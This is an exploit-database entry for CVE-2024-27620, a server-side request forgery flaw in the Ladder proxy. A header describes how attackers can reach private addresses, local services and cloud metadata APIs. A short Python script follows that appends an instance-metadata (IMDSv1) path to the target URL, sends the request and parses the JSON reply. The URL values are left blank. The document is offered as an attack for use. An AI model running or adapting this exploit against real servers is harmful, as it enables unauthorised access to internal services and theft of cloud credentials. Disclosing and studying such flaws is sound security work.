# Exploit Title: Ladder v0.0.21 Server-side request forgery (SSRF)  
# Date: 2024-01-20  
# Exploit Author: @_chebuya  
# Software Link:  
# Version: v0.0.1 - v0.0.21  
# Tested on: Ubuntu 20.04.6 LTS on AWS EC2 (ami-0fd63e471b04e22d0)  
# CVE: CVE-2024-27620  
# Description: Ladder fails to apply sufficient default restrictions on destination addresses, allowing an attacker to make GET requests to addresses that would typically not be accessible from an external context. An attacker can access private address ranges, locally listening services, and cloud instance metadata APIs  
import requests  
import json  
target_url = ""  
imdsv1_url = ""  
r = requests.get(target_url + imdsv1_url)  
response_json = json.loads(r.text)